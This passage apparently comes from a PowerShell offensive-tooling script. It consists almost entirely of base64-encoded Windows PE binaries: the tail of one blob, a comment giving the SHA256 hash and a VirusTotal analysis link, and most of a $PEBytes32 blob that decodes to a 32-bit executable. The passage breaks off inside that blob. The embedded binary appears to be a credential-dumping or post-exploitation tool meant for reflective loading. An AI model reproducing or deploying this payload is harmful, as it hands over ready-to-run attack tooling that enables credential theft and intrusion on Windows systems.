wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AcAUAbAEAAACgCKAQoBigIKAwoEigUKBYoGCgaKBwoHiggKCIoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooAChGKEgoSihMKE4oVChaKFwoXihgKGIoZChmKGgobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiMKJQonCikKKYorCiuKLQotii8KIAowijEKMYozCjOKNQo2ijcKN4o4ijkKOYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplim+KeQq5iroKuoq7iryKvQq9ir4KvoqwAAABAHABAAAABIqWCpaKkAAABwBwCMAAAAOKB4oLCh+KEYojiiWKJ4oqiiwKLIotCiCKMQo2CjmKXAqMio0KjYqOCo6KjwqPioAKkIqRipIKkoqTCpOKlAqUipUKmwqriqwKrIqtCq2KroqkCrkKvgq2CscKywrMCsAK0QrVCtYK2grbCt8K0ArrCuwK4ArxCvUK9gr6CvsK/orwAAAIAHALQAAAAAoBCgSKBYoGiggKCQoNCg4KAgoTChaKF4oZiiqKLooviiOKNIo4ijmKPYo+ijKKQ4pHikiKTIpNikGKUopWileKW4pcilCKYYplimaKaoprim+KYIp0inWKeYp6in6Kf4pzioSKiIqJio2KjoqCipOKl4qYipyKnYqRiqKKpoqniquKrIqgirGKtYq2irqKu4q/irCKxIrFis0KzgrLCtAK5QrgCvUK+grwAAAJAHAIAAAAAQoCCgYKBwoLCgwKAAoRChsKHAoQCiEKJQomCioKKwovCiAKOAo9CjIKRwpNCk2KRApZCl4KUwpoCmAKdQp6Cn8KdAqJCo4KgwqYCp0KkgqnCqwKoQq3CriKvQqyCsoKzwrECtkK3grTCucK54roiu0K4gr3CvwK8AoAcAVAAAABCgYKDQoOigIKE4oYCh0KEgonCiwKIQo1CjWKNoo7Cj8KP4owikQKRIpFikoKTwpEClsKW4pcilEKZQplimaKawpgCnUKeQp5inqKcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' + + # SHA256 hash: c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae + # https://www.virustotal.com/en/file/c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae/analysis/1450152913/ + $PEBytes32 = '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